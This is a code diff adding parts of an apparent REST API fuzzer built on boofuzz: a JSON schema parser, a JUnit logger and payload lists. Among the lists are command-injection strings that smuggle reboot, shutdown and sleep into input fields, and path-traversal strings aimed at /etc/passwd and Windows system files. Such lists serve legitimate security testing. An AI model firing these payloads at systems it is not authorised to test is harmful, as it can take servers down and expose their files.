self.encoding: EncodingTypes = encoding
|
||||
self.json_primitive_type: Union[type, None] = json_primitive_type
|
||||
self.add_quotation_marks_into_payloads: bool = add_quotation_marks_into_payloads
|
||||
|
||||
|
||||
def _unique_json_primitive_id():
|
||||
sequence = 0
|
||||
while True:
|
||||
yield str(sequence)
|
||||
sequence += 1
|
||||
83
fuzzer/src/json_schema_parser.py
Normal file
83
fuzzer/src/json_schema_parser.py
Normal file
@@ -0,0 +1,83 @@
|
||||
from encodings_helper import Encoder, EncodingTypes
|
||||
|
||||
|
||||
def generate_json_dict_from_schema(json_schema):
|
||||
json_dict = _iterate_over_properties(json_schema)
|
||||
return json_dict
|
||||
|
||||
|
||||
def _iterate_over_properties(properties):
|
||||
json_dict = {}
|
||||
|
||||
# 1] Just single key-value tuple of JSON structure, recursively decomposing JSON value
|
||||
if isinstance(properties, tuple):
|
||||
json_key = properties[0]
|
||||
json_value = properties[1]
|
||||
nested = _iterate_over_properties(json_value)
|
||||
json_dict[json_key] = nested
|
||||
# 2] Value is an JSON array, need to find out type and generate few array items
|
||||
elif "Type" in properties and "ArrayItemSchema" in properties and properties["Type"] == "array":
|
||||
return [_parse_array_schema(properties)]
|
||||
# 3] Properties contains description of single JSON primitive
|
||||
elif "Type" in properties and "Format" in properties:
|
||||
property_type = properties["Type"]
|
||||
property_format = properties["Format"]
|
||||
if properties["Example"]:
|
||||
return _convert_example_to_right_data_type(property_type, properties["Example"])
|
||||
return _get_example_by_type(property_type, property_format)
|
||||
# 4] Properties contains JSON dictionary and need to be recursively parsed further
|
||||
else:
|
||||
json_values = properties.items()
|
||||
for value in json_values:
|
||||
nested = _iterate_over_properties(value)
|
||||
json_dict = {**json_dict, **nested}
|
||||
return json_dict
|
||||
|
||||
|
||||
def _parse_array_schema(array_schema):
|
||||
single_item_schema = array_schema["ArrayItemSchema"]
|
||||
property_type = single_item_schema["Type"] if "Type" in single_item_schema else None
|
||||
property_format = single_item_schema["Format"] if "Format" in single_item_schema else None
|
||||
if property_type and property_format:
|
||||
return _get_example_by_type(single_item_schema["Type"], single_item_schema["Format"])
|
||||
else:
|
||||
return _iterate_over_properties(single_item_schema)
|
||||
|
||||
|
||||
# If there is no example, we have to generate one
|
||||
# Based on following documentations:
|
||||
# https://github.com/OAI/OpenAPI-Specification/blob/master/versions/3.0.0.md
|
||||
# https://github.com/OAI/OpenAPI-Specification/blob/master/versions/2.0.md
|
||||
def _get_example_by_type(property_type, property_format):
|
||||
if property_type == "boolean":
|
||||
return True
|
||||
elif property_type == "integer":
|
||||
return 0
|
||||
elif property_type == "number":
|
||||
return 0.0
|
||||
elif property_type == "string":
|
||||
if property_format == "byte":
|
||||
return Encoder.encode_string("example", encoding_type=EncodingTypes.base64)
|
||||
elif property_format == "binary":
|
||||
return "01234567"
|
||||
elif property_format == "date":
|
||||
return "2002-10-02"
|
||||
elif property_format == "date-time":
|
||||
return "2002-10-02T10:00:00-05:00"
|
||||
elif property_format == "password":
|
||||
return "string"
|
||||
else:
|
||||
return "string"
|
||||
|
||||
|
||||
# Examples from documentation comes as JSON strings, we need to cast them to proper data type
|
||||
# Should never fail, because parser will throw an error if data type in documentation is not matching
|
||||
def _convert_example_to_right_data_type(property_type, example_value):
|
||||
if property_type == "integer":
|
||||
return int(example_value)
|
||||
elif property_type == "number":
|
||||
return float(example_value)
|
||||
elif property_type == "boolean":
|
||||
return str(example_value).lower() == "true"
|
||||
else:
|
||||
return example_value
|
||||
176
fuzzer/src/junit_logger.py
Normal file
176
fuzzer/src/junit_logger.py
Normal file
@@ -0,0 +1,176 @@
|
||||
import copy
|
||||
import sys
|
||||
import re
|
||||
from datetime import datetime
|
||||
from typing import TextIO
|
||||
from typing import List, Dict
|
||||
from boofuzz import helpers, ifuzz_logger_backend
|
||||
from junit_xml import TestSuite, TestCase
|
||||
from fake_socket import get_response_object
|
||||
|
||||
|
||||
class JUnitLogger(ifuzz_logger_backend.IFuzzLoggerBackend):
|
||||
DEFAULT_TEST_SUITE_NAME = "Default test suite"
|
||||
SKIPPED_TEST_CASE_MESSAGES_REGEX = ["Crash threshold reached for this element, exhausting (\d+) mutants.",
|
||||
"Crash threshold reached for this request, exhausting (\d+) mutants."]
|
||||
|
||||
def __init__(self, file_handle: TextIO = sys.stdout, test_suite_name_delimiter: str = None, hostname: str = None):
|
||||
self._file_handle = file_handle
|
||||
self._test_suite_name_delimiter = test_suite_name_delimiter
|
||||
self._hostname = hostname
|
||||
|
||||
self._test_cases = []
|
||||
self._actual_test_case = None
|
||||
self._error = None
|
||||
self._failure = None
|
||||
self._starting_time = None
|
||||
self._sent_string = None
|
||||
self._sent_bytes = None
|
||||
self._received_string = None
|
||||
self._received_bytes = None
|
||||
self._default_value = None
|
||||
self._mutant_value = None
|
||||
|
||||
def open_test_step(self, description):
|
||||
skipped_count = 0
|
||||
for skipped_test_case_message_regex in self.SKIPPED_TEST_CASE_MESSAGES_REGEX:
|
||||
match = re.match(skipped_test_case_message_regex, description)
|
||||
if match is not None:
|
||||
skipped_count += int(match.group(1))
|
||||
|
||||
if skipped_count > 0:
|
||||
for i in range(skipped_count):
|
||||
skipped_test_case = self._create_skipped_test_case(self._actual_test_case.name, i)
|
||||
self._test_cases.append(skipped_test_case)
|
||||
|
||||
def log_check(self, description):
|
||||
pass
|
||||
|
||||
def log_error(self, description):
|
||||
self._error = description
|
||||
|
||||
def log_recv(self, data):
|
||||
self._received_bytes = helpers.hex_str(data)
|
||||
self._received_string = data.decode('utf-8')
|
||||
|
||||
def log_send(self, data):
|
||||
self._sent_bytes = helpers.hex_str(data)
|
||||
self._sent_string = data.decode('utf-8')
|
||||
|
||||
def log_info(self, description):
|
||||
default_value_prefix = "Original value: "
|
||||
mutation_value_prefix = "Mutation: "
|
||||
if description.startswith(default_value_prefix):
|
||||
self._default_value = description[len(default_value_prefix):]
|
||||
elif description.startswith(mutation_value_prefix):
|
||||
self._mutant_value = description[len(mutation_value_prefix):]
|
||||
|
||||
def open_test_case(self, test_case_id, name, index, *args, **kwargs):
|
||||
self._actual_test_case = TestCase(name)
|
||||
self._starting_time = datetime.now()
|
||||
|
||||
def log_fail(self, description=""):
|
||||
self._failure = description
|
||||
|
||||
def log_pass(self, description=""):
|
||||
pass
|
||||
|
||||
def close_test_case(self):
|
||||
elapsed_time = datetime.now() - self._starting_time
|
||||
self._actual_test_case.elapsed_sec = elapsed_time.total_seconds()
|
||||
|
||||
if self._error is not None:
|
||||
self._actual_test_case.add_error_info(message=self._error, output=self._generate_output_message())
|
||||
self._actual_test_case.classname = "Error"
|
||||
elif self._failure is not None:
|
||||
self._actual_test_case.add_failure_info(message=self._failure, output=self._generate_output_message())
|
||||
self._actual_test_case.classname = "Failure: " + self._failure
|
||||
else:
|
||||
self._actual_test_case.classname = "Success"
|
||||
response = get_response_object(self._received_string.encode()) if self._received_string else None
|
||||
if response:
|
||||
self._actual_test_case.classname += ": " + str(response.status)
|
||||
|
||||
self._test_cases.append(copy.deepcopy(self._actual_test_case))
|
||||
|
||||
self._actual_test_case = None
|
||||
self._error = None
|
||||
self._failure = None
|
||||
self._starting_time = None
|
||||
self._sent_string = None
|
||||
self._sent_bytes = None
|
||||
self._received_string = None
|
||||
self._received_bytes = None
|
||||
self._default_value = None
|
||||
self._mutant_value = None
|
||||
|
||||
def close_test(self):
|
||||
test_suites = self._generate_test_suites()
|
||||
TestSuite.to_file(self._file_handle, test_suites, prettyprint=True)
|
||||
|
||||
@staticmethod
|
||||
def _format_log_msg(msg_type, msg=None, data=None) -> str:
|
||||
# Encode the response data to default encoding
|
||||
if data and isinstance(data, str):
|
||||
data = data.encode()
|
||||
return helpers.format_log_msg(msg_type=msg_type, description=msg, data=data, indent_size=2, format_type='html')
|
||||
|
||||
def _separate_test_suite_name(self, test_case_name) -> (str, str):
|
||||
split = test_case_name.split(self._test_suite_name_delimiter, 1)
|
||||
if len(split) == 2:
|
||||
return split[0], split[1]
|
||||
else:
|
||||
return None, split[0]
|
||||
|
||||
def _generate_test_suites(self) -> List[TestSuite]:
|
||||
test_suites = {}
|
||||
for test_case in self._test_cases:
|
||||
if self._test_suite_name_delimiter is not None:
|
||||
group_name, test_name = self._separate_test_suite_name(test_case.name)
|
||||
if group_name is None:
|
||||
test_suites = self._create_or_append_test(test_suites, test_case, self.DEFAULT_TEST_SUITE_NAME)
|
||||
else:
|
||||
test_suites = self._create_or_append_test(test_suites, test_case, group_name)
|
||||
else:
|
||||
test_suites = self._create_or_append_test(test_suites, test_case, self.DEFAULT_TEST_SUITE_NAME)
|
||||
return list(test_suites.values())
|
||||
|
||||
def _create_or_append_test(self, test_suites: Dict[str, TestSuite], test_case: TestCase, group_name: str)\
|
||||
-> Dict[str, TestSuite]:
|
||||
if group_name not in test_suites:
|
||||
test_suites[group_name] = TestSuite(group_name, test_cases=[test_case], hostname=self._hostname)
|
||||
else:
|
||||
test_suites[group_name].test_cases.append(test_case)
|
||||
return test_suites
|
||||
|
||||
def _generate_output_message(self):
|
||||
message = ""
|
||||
|
||||
if self._default_value is not None:
|
||||
message += "Default value: " + self._default_value + "\n"
|
||||
if self._mutant_value is not None:
|
||||
message += "Mutant value: " + self._mutant_value + "\n"
|
||||
message += "\n\n"
|
||||
|
||||
message += "Sent string:\n"
|
||||
message += self._sent_string + "\n\n"
|
||||
message += "Sent bytes: \n"
|
||||
message += self._sent_bytes + "\n\n\n"
|
||||
|
||||
if self._received_string:
|
||||
message += "Received string:\n"
|
||||
message += self._received_string + "\n\n"
|
||||
message += "Received bytes: \n"
|
||||
message += self._received_bytes
|
||||
else:
|
||||
message += "Nothing was received!"
|
||||
|
||||
return message
|
||||
|
||||
@staticmethod
|
||||
def _create_skipped_test_case(name, index):
|
||||
skipped_test_case = TestCase(name + "; Skip index" + str(index))
|
||||
skipped_test_case.classname = "Skipped"
|
||||
skipped_test_case.skipped_output = "Skipped test case"
|
||||
skipped_test_case.elapsed_sec = 0
|
||||
return skipped_test_case
|
||||
10
fuzzer/src/parameter.py
Normal file
10
fuzzer/src/parameter.py
Normal file
@@ -0,0 +1,10 @@
|
||||
from typing import Union
|
||||
|
||||
|
||||
class Parameter:
|
||||
def __init__(self, name: str, value: str, data_type: Union[str, None], data_format: Union[str, None], is_from_config: bool):
|
||||
self.name = name
|
||||
self.value = value
|
||||
self.data_type = data_type
|
||||
self.data_format = data_format
|
||||
self.is_from_config = is_from_config
|
||||
72
fuzzer/src/payloads/lists/numeric/blns-numeric.txt
Normal file
72
fuzzer/src/payloads/lists/numeric/blns-numeric.txt
Normal file
@@ -0,0 +1,72 @@
|
||||
# Source: BLNS (https://github.com/minimaxir/big-list-of-naughty-strings/blob/master/blns.txt)
|
||||
0
|
||||
1
|
||||
1.00
|
||||
$1.00
|
||||
1/2
|
||||
1E2
|
||||
1E02
|
||||
1E+02
|
||||
-1
|
||||
-1.00
|
||||
-$1.00
|
||||
-1/2
|
||||
-1E2
|
||||
-1E02
|
||||
-1E+02
|
||||
1/0
|
||||
0/0
|
||||
-2147483648/-1
|
||||
-9223372036854775808/-1
|
||||
-0
|
||||
-0.0
|
||||
+0
|
||||
+0.0
|
||||
0.00
|
||||
0..0
|
||||
.
|
||||
0.0.0
|
||||
0,00
|
||||
0,,0
|
||||
,
|
||||
0,0,0
|
||||
0.0/0
|
||||
1.0/0.0
|
||||
0.0/0.0
|
||||
1,0/0,0
|
||||
0,0/0,0
|
||||
--1
|
||||
-
|
||||
-.
|
||||
-,
|
||||
999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
|
||||
NaN
|
||||
Infinity
|
||||
-Infinity
|
||||
INF
|
||||
1#INF
|
||||
-1#IND
|
||||
1#QNAN
|
||||
1#SNAN
|
||||
1#IND
|
||||
0x0
|
||||
0xffffffff
|
||||
0xffffffffffffffff
|
||||
0xabad1dea
|
||||
123456789012345678901234567890123456789
|
||||
1,000.00
|
||||
1 000.00
|
||||
1'000.00
|
||||
1,000,000.00
|
||||
1 000 000.00
|
||||
1'000'000.00
|
||||
1.000,00
|
||||
1 000,00
|
||||
1'000,00
|
||||
1.000.000,00
|
||||
1 000 000,00
|
||||
1'000'000,00
|
||||
01000
|
||||
08
|
||||
09
|
||||
2.2250738585072011e-308
|
||||
155
fuzzer/src/payloads/lists/numeric/overflows.txt
Normal file
155
fuzzer/src/payloads/lists/numeric/overflows.txt
Normal file
@@ -0,0 +1,155 @@
|
||||
# Source: FuzzDB (https://github.com/fuzzdb-project/fuzzdb/blob/master/attack/integer-overflow/integer-overflows.txt)
|
||||
-1
|
||||
0
|
||||
0x100
|
||||
0x1000
|
||||
0x3fffffff
|
||||
0x7ffffffe
|
||||
0x7fffffff
|
||||
0x80000000
|
||||
0xfffffffe
|
||||
0xffffffff
|
||||
0x10000
|
||||
0x100000
|
||||
|
||||
100
|
||||
1000
|
||||
3fffffff
|
||||
7ffffffe
|
||||
7fffffff
|
||||
80000000
|
||||
fffffffe
|
||||
ffffffff
|
||||
10000
|
||||
100000
|
||||
|
||||
256
|
||||
4096
|
||||
1073741823
|
||||
2147483646
|
||||
2147483647
|
||||
2147483648
|
||||
4294967294
|
||||
4294967295
|
||||
65536
|
||||
1048576
|
||||
|
||||
|
||||
# Custom overflows
|
||||
# UNSIGNED
|
||||
# 8b -> 255
|
||||
255
|
||||
0xff
|
||||
ff
|
||||
11111111
|
||||
0b11111111
|
||||
|
||||
# 8b -> 256
|
||||
256
|
||||
0x100
|
||||
100
|
||||
100000000
|
||||
0b100000000
|
||||
|
||||
# 8b -> 257
|
||||
257
|
||||
0x101
|
||||
101
|
||||
100000001
|
||||
0b100000001
|
||||
|
||||
# 16b -> 65535
|
||||
65535
|
||||
0xffff
|
||||
ffff
|
||||
1111111111111111
|
||||
0b1111111111111111
|
||||
|
||||
# 16b -> 65536
|
||||
65536
|
||||
0x10000
|
||||
10000
|
||||
10000000000000000
|
||||
0b10000000000000000
|
||||
|
||||
# 16b -> 65537
|
||||
65537
|
||||
0x10001
|
||||
10001
|
||||
10000000000000001
|
||||
0b10000000000000001
|
||||
|
||||
# 32b -> 4294967295
|
||||
4294967295
|
||||
0xffffffff
|
||||
ffffffff
|
||||
11111111111111111111111111111111
|
||||
0b11111111111111111111111111111111
|
||||
|
||||
# 32b -> 4294967296
|
||||
4294967296
|
||||
0x100000000
|
||||
100000000
|
||||
100000000000000000000000000000000
|
||||
0b100000000000000000000000000000000
|
||||
|
||||
# 32b -> 4294967297
|
||||
4294967297
|
||||
0x100000001
|
||||
100000001
|
||||
100000000000000000000000000000001
|
||||
0b100000000000000000000000000000001
|
||||
|
||||
# 64b -> 18446744073709551615
|
||||
18446744073709551615
|
||||
0xffffffffffffffff
|
||||
ffffffffffffffff
|
||||
1111111111111111111111111111111111111111111111111111111111111111
|
||||
0b1111111111111111111111111111111111111111111111111111111111111111
|
||||
|
||||
# 64b -> 18446744073709551616
|
||||
18446744073709551616
|
||||
0x10000000000000000
|
||||
10000000000000000
|
||||
10000000000000000000000000000000000000000000000000000000000000000
|
||||
0b10000000000000000000000000000000000000000000000000000000000000000
|
||||
|
||||
# 64b -> 18446744073709551617
|
||||
18446744073709551617
|
||||
0x10000000000000001
|
||||
10000000000000001
|
||||
10000000000000000000000000000000000000000000000000000000000000001
|
||||
0b10000000000000000000000000000000000000000000000000000000000000001
|
||||
|
||||
# SIGNED (just in decimal)
|
||||
# 8b -> 127
|
||||
127
|
||||
126
|
||||
128
|
||||
-127
|
||||
-128
|
||||
-129
|
||||
|
||||
# 16b -> 32767
|
||||
32767
|
||||
32766
|
||||
32768
|
||||
-32767
|
||||
-32769
|
||||
-32768
|
||||
|
||||
# 32b -> 2147483647
|
||||
2147483647
|
||||
2147483646
|
||||
2147483648
|
||||
-2147483647
|
||||
-2147483649
|
||||
-2147483648
|
||||
|
||||
# 64b -> 9223372036854775808
|
||||
9223372036854775808
|
||||
9223372036854775807
|
||||
9223372036854775809
|
||||
-9223372036854775808
|
||||
-9223372036854775810
|
||||
-9223372036854775809
|
||||
@@ -0,0 +1,2 @@
|
||||
NaN
|
||||
inf
|
||||
@@ -0,0 +1,175 @@
|
||||
# Based on FuzzDB (https://github.com/fuzzdb-project/fuzzdb/blob/master/attack/os-cmd-execution/command-injection-template.txt)
|
||||
|
||||
reboot
|
||||
;reboot
|
||||
;reboot;
|
||||
^reboot
|
||||
|reboot
|
||||
<reboot
|
||||
<reboot;
|
||||
<reboot\n
|
||||
<reboot%0D
|
||||
<reboot%0A
|
||||
&reboot
|
||||
&reboot&
|
||||
&&reboot
|
||||
&&reboot&&
|
||||
%0Dreboot
|
||||
%0Dreboot%0D
|
||||
%0Areboot
|
||||
%0Areboot%0A
|
||||
\nreboot
|
||||
\nreboot\n
|
||||
'reboot'
|
||||
`reboot`
|
||||
;reboot|
|
||||
;reboot/n
|
||||
|reboot;
|
||||
a);reboot
|
||||
a;reboot
|
||||
a);reboot
|
||||
a;reboot;
|
||||
a);reboot|
|
||||
FAIL||reboot
|
||||
CMD=$'reboot';$CMD
|
||||
;CMD=$'reboot';$CMD
|
||||
^CMD=$'reboot';$CMD
|
||||
|CMD=$'reboot';$CMD
|
||||
&CMD=$'reboot';$CMD
|
||||
&&CMD=$'reboot';$CMD
|
||||
%0DCMD=$'reboot';$CMD
|
||||
FAIL||CMD=$'reboot';$CMD
|
||||
CMD=$\'reboot\';$CMD
|
||||
;CMD=$\'reboot\';$CMD
|
||||
^CMD=$\'reboot\';$CMD
|
||||
|CMD=$\'reboot\';$CMD
|
||||
&CMD=$\'reboot\';$CMD
|
||||
&&CMD=$\'reboot\';$CMD
|
||||
%0DCMD=$\'reboot\';$CMD
|
||||
FAIL||CMD=$\'reboot\';$CMD
|
||||
CMD=$"reboot";$CMD
|
||||
;CMD=$"reboot";$CMD
|
||||
^CMD=$"reboot";$CMD
|
||||
|CMD=$"reboot";$CMD
|
||||
&CMD=$"reboot";$CMD
|
||||
&&CMD=$"reboot";$CMD
|
||||
%0DCMD=$"reboot";$CMD
|
||||
FAIL||CMD=$"reboot";$CMD
|
||||
<!--#exec cmd="reboot"-->
|
||||
;system('reboot')
|
||||
|
||||
shutdown
|
||||
;shutdown
|
||||
;shutdown;
|
||||
^shutdown
|
||||
|shutdown
|
||||
<shutdown
|
||||
<shutdown;
|
||||
<shutdown\n
|
||||
<shutdown%0D
|
||||
<shutdown%0A
|
||||
&shutdown
|
||||
&shutdown&
|
||||
&&shutdown
|
||||
&&shutdown&&
|
||||
%0Dshutdown
|
||||
%0Dshutdown%0D
|
||||
%0Ashutdown
|
||||
%0Ashutdown%0A
|
||||
\nshutdown
|
||||
\nshutdown\n
|
||||
'shutdown'
|
||||
`shutdown`
|
||||
;shutdown|
|
||||
;shutdown/n
|
||||
|shutdown;
|
||||
a);shutdown
|
||||
a;shutdown
|
||||
a);shutdown
|
||||
a;shutdown;
|
||||
a);shutdown|
|
||||
FAIL||shutdown
|
||||
CMD=$'shutdown';$CMD
|
||||
;CMD=$'shutdown';$CMD
|
||||
^CMD=$'shutdown';$CMD
|
||||
|CMD=$'shutdown';$CMD
|
||||
&CMD=$'shutdown';$CMD
|
||||
&&CMD=$'shutdown';$CMD
|
||||
%0DCMD=$'shutdown';$CMD
|
||||
FAIL||CMD=$'shutdown';$CMD
|
||||
CMD=$\'shutdown\';$CMD
|
||||
;CMD=$\'shutdown\';$CMD
|
||||
^CMD=$\'shutdown\';$CMD
|
||||
|CMD=$\'shutdown\';$CMD
|
||||
&CMD=$\'shutdown\';$CMD
|
||||
&&CMD=$\'shutdown\';$CMD
|
||||
%0DCMD=$\'shutdown\';$CMD
|
||||
FAIL||CMD=$\'shutdown\';$CMD
|
||||
CMD=$"shutdown";$CMD
|
||||
;CMD=$"shutdown";$CMD
|
||||
^CMD=$"shutdown";$CMD
|
||||
|CMD=$"shutdown";$CMD
|
||||
&CMD=$"shutdown";$CMD
|
||||
&&CMD=$"shutdown";$CMD
|
||||
%0DCMD=$"shutdown";$CMD
|
||||
FAIL||CMD=$"shutdown";$CMD
|
||||
<!--#exec cmd="shutdown"-->
|
||||
;system('shutdown')
|
||||
|
||||
sleep 20000
|
||||
;sleep 20000
|
||||
;sleep 20000;
|
||||
^sleep 20000
|
||||
|sleep 20000
|
||||
<sleep 20000
|
||||
<sleep 20000;
|
||||
<sleep 20000\n
|
||||
<sleep 20000%0D
|
||||
<sleep 20000%0A
|
||||
&sleep 20000
|
||||
&sleep 20000&
|
||||
&&sleep 20000
|
||||
&&sleep 20000&&
|
||||
%0Dsleep 20000
|
||||
%0Dsleep 20000%0D
|
||||
%0Asleep 20000
|
||||
%0Asleep 20000%0A
|
||||
\nsleep 20000
|
||||
\nsleep 20000\n
|
||||
'sleep 20000'
|
||||
`sleep 20000`
|
||||
;sleep 20000|
|
||||
;sleep 20000/n
|
||||
|sleep 20000;
|
||||
a);sleep 20000
|
||||
a;sleep 20000
|
||||
a);sleep 20000
|
||||
a;sleep 20000;
|
||||
a);sleep 20000|
|
||||
FAIL||sleep 20000
|
||||
CMD=$'sleep 20000';$CMD
|
||||
;CMD=$'sleep 20000';$CMD
|
||||
^CMD=$'sleep 20000';$CMD
|
||||
|CMD=$'sleep 20000';$CMD
|
||||
&CMD=$'sleep 20000';$CMD
|
||||
&&CMD=$'sleep 20000';$CMD
|
||||
%0DCMD=$'sleep 20000';$CMD
|
||||
FAIL||CMD=$'sleep 20000';$CMD
|
||||
CMD=$\'sleep 20000\';$CMD
|
||||
;CMD=$\'sleep 20000\';$CMD
|
||||
^CMD=$\'sleep 20000\';$CMD
|
||||
|CMD=$\'sleep 20000\';$CMD
|
||||
&CMD=$\'sleep 20000\';$CMD
|
||||
&&CMD=$\'sleep 20000\';$CMD
|
||||
%0DCMD=$\'sleep 20000\';$CMD
|
||||
FAIL||CMD=$\'sleep 20000\';$CMD
|
||||
CMD=$"sleep 20000";$CMD
|
||||
;CMD=$"sleep 20000";$CMD
|
||||
^CMD=$"sleep 20000";$CMD
|
||||
|CMD=$"sleep 20000";$CMD
|
||||
&CMD=$"sleep 20000";$CMD
|
||||
&&CMD=$"sleep 20000";$CMD
|
||||
%0DCMD=$"sleep 20000";$CMD
|
||||
FAIL||CMD=$"sleep 20000";$CMD
|
||||
<!--#exec cmd="sleep 20000"-->
|
||||
;system('sleep 20000')
|
||||
@@ -0,0 +1,117 @@
|
||||
# Based on FuzzDB (https://github.com/fuzzdb-project/fuzzdb/blob/master/attack/os-cmd-execution/command-injection-template.txt)
|
||||
|
||||
timeout 20000
|
||||
;timeout 20000
|
||||
;timeout 20000;
|
||||
^timeout 20000
|
||||
|timeout 20000
|
||||
<timeout 20000
|
||||
<timeout 20000;
|
||||
<timeout 20000\n
|
||||
<timeout 20000%0D
|
||||
<timeout 20000%0A
|
||||
&timeout 20000
|
||||
&timeout 20000&
|
||||
&&timeout 20000
|
||||
&&timeout 20000&&
|
||||
%0Dtimeout 20000
|
||||
%0Dtimeout 20000%0D
|
||||
%0Atimeout 20000
|
||||
%0Atimeout 20000%0A
|
||||
\ntimeout 20000
|
||||
\ntimeout 20000\n
|
||||
'timeout 20000'
|
||||
`timeout 20000`
|
||||
;timeout 20000|
|
||||
;timeout 20000/n
|
||||
|timeout 20000;
|
||||
a);timeout 20000
|
||||
a;timeout 20000
|
||||
a);timeout 20000
|
||||
a;timeout 20000;
|
||||
a);timeout 20000|
|
||||
FAIL||timeout 20000
|
||||
CMD=$'timeout 20000';$CMD
|
||||
;CMD=$'timeout 20000';$CMD
|
||||
^CMD=$'timeout 20000';$CMD
|
||||
|CMD=$'timeout 20000';$CMD
|
||||
&CMD=$'timeout 20000';$CMD
|
||||
&&CMD=$'timeout 20000';$CMD
|
||||
%0DCMD=$'timeout 20000';$CMD
|
||||
FAIL||CMD=$'timeout 20000';$CMD
|
||||
CMD=$\'timeout 20000\';$CMD
|
||||
;CMD=$\'timeout 20000\';$CMD
|
||||
^CMD=$\'timeout 20000\';$CMD
|
||||
|CMD=$\'timeout 20000\';$CMD
|
||||
&CMD=$\'timeout 20000\';$CMD
|
||||
&&CMD=$\'timeout 20000\';$CMD
|
||||
%0DCMD=$\'timeout 20000\';$CMD
|
||||
FAIL||CMD=$\'timeout 20000\';$CMD
|
||||
CMD=$"timeout 20000";$CMD
|
||||
;CMD=$"timeout 20000";$CMD
|
||||
^CMD=$"timeout 20000";$CMD
|
||||
|CMD=$"timeout 20000";$CMD
|
||||
&CMD=$"timeout 20000";$CMD
|
||||
&&CMD=$"timeout 20000";$CMD
|
||||
%0DCMD=$"timeout 20000";$CMD
|
||||
FAIL||CMD=$"timeout 20000";$CMD
|
||||
<!--#exec cmd="timeout 20000"-->
|
||||
;system('timeout 20000')
|
||||
|
||||
shutdown -h now
|
||||
;shutdown -h now
|
||||
;shutdown -h now;
|
||||
^shutdown -h now
|
||||
|shutdown -h now
|
||||
<shutdown -h now
|
||||
<shutdown -h now;
|
||||
<shutdown -h now\n
|
||||
<shutdown -h now%0D
|
||||
<shutdown -h now%0A
|
||||
&shutdown -h now
|
||||
&shutdown -h now&
|
||||
&&shutdown -h now
|
||||
&&shutdown -h now&&
|
||||
%0Dshutdown -h now
|
||||
%0Dshutdown -h now%0D
|
||||
%0Ashutdown -h now
|
||||
%0Ashutdown -h now%0A
|
||||
\nshutdown -h now
|
||||
\nshutdown -h now\n
|
||||
'shutdown -h now'
|
||||
`shutdown -h now`
|
||||
;shutdown -h now|
|
||||
;shutdown -h now/n
|
||||
|shutdown -h now;
|
||||
a);shutdown -h now
|
||||
a;shutdown -h now
|
||||
a);shutdown -h now
|
||||
a;shutdown -h now;
|
||||
a);shutdown -h now|
|
||||
FAIL||shutdown -h now
|
||||
CMD=$'shutdown -h now';$CMD
|
||||
;CMD=$'shutdown -h now';$CMD
|
||||
^CMD=$'shutdown -h now';$CMD
|
||||
|CMD=$'shutdown -h now';$CMD
|
||||
&CMD=$'shutdown -h now';$CMD
|
||||
&&CMD=$'shutdown -h now';$CMD
|
||||
%0DCMD=$'shutdown -h now';$CMD
|
||||
FAIL||CMD=$'shutdown -h now';$CMD
|
||||
CMD=$\'shutdown -h now\';$CMD
|
||||
;CMD=$\'shutdown -h now\';$CMD
|
||||
^CMD=$\'shutdown -h now\';$CMD
|
||||
|CMD=$\'shutdown -h now\';$CMD
|
||||
&CMD=$\'shutdown -h now\';$CMD
|
||||
&&CMD=$\'shutdown -h now\';$CMD
|
||||
%0DCMD=$\'shutdown -h now\';$CMD
|
||||
FAIL||CMD=$\'shutdown -h now\';$CMD
|
||||
CMD=$"shutdown -h now";$CMD
|
||||
;CMD=$"shutdown -h now";$CMD
|
||||
^CMD=$"shutdown -h now";$CMD
|
||||
|CMD=$"shutdown -h now";$CMD
|
||||
&CMD=$"shutdown -h now";$CMD
|
||||
&&CMD=$"shutdown -h now";$CMD
|
||||
%0DCMD=$"shutdown -h now";$CMD
|
||||
FAIL||CMD=$"shutdown -h now";$CMD
|
||||
<!--#exec cmd="shutdown -h now"-->
|
||||
;system('shutdown -h now')
|
||||
@@ -0,0 +1,16 @@
|
||||
# RELATIVE PATHS
|
||||
../../../../../../../../../../../../../../../../../apache/logs/access.log
|
||||
../../../../../../../../../../../../../../../../../etc/passwd
|
||||
../../../../../../../../../../../../../../../../../apache/logs/
|
||||
../../../../../../../../../../../../../../../../../etc/
|
||||
../../../../../../../../../../../../../../../../../opt/
|
||||
../../../../../../../../../../../../../../../../../var/
|
||||
|
||||
|
||||
# ABSOLUTE PATHS
|
||||
/apache/logs/access.log
|
||||
/etc/passwd
|
||||
/apache/logs/
|
||||
/etc/
|
||||
/opt/
|
||||
/var/
|
||||
@@ -0,0 +1,23 @@
|
||||
# RELATIVE PATHS
|
||||
../../../../../../../../../../../../../../../../../boot.ini
|
||||
..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini
|
||||
|
||||
../../../../../../../../../../../../../../../../../
|
||||
..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\
|
||||
|
||||
../../../../../../../../../../../../../../../../../inetpub/wwwroot/index.asp
|
||||
..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\inetpub\wwwroot\index.asp
|
||||
|
||||
../../../../../../../../../../../../../../../../../inetpub/wwwroot/
|
||||
..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\inetpub\wwwroot\
|
||||
|
||||
# ABSOLUTE PATHS
|
||||
c:\boot.ini
|
||||
c:\
|
||||
c:\inetpub\wwwroot\index.asp
|
||||
c:\inetpub\
|
||||
c:\pagefile.sys
|
||||
c:\Windows\system.ini
|
||||
c:\Windows\
|
||||
c:\Windows\System32\drivers\etc\hosts
|
||||
c:\Windows\System32\drivers\etc\
|
||||
@@ -0,0 +1,12 @@
|
||||
# Generic relative paths
|
||||
../../../../../../../../../../../../../../../../../unknown/unknown.log
|
||||
..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\unknown/unknown.log
|
||||
|
||||
../../../../../../../../../../../../../../../../../unknown
|
||||
..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\unknown
|
||||
|
||||
# Windows absolute paths
|
||||
c:\unknown\unknown
|
||||
|
||||
# UNIX absolute paths
|
||||
/unknown/unknown
|
||||
@@ -0,0 +1,257 @@
|
||||
# Generated
|
||||
%00
|
||||
%01
|
||||
%02
|
||||
%03
|
||||
%04
|
||||
%05
|
||||
%06
|
||||
%07
|
||||
%08
|
||||
%09
|
||||
%0a
|
||||
%0b
|
||||
%0c
|
||||
%0d
|
||||
%0e
|
||||
%0f
|
||||
%10
|
||||
%11
|
||||
%12
|
||||
%13
|
||||
%14
|
||||
%15
|
||||
%16
|
||||
%17
|
||||
%18
|
||||
%19
|
||||
%1a
|
||||
%1b
|
||||
%1c
|
||||
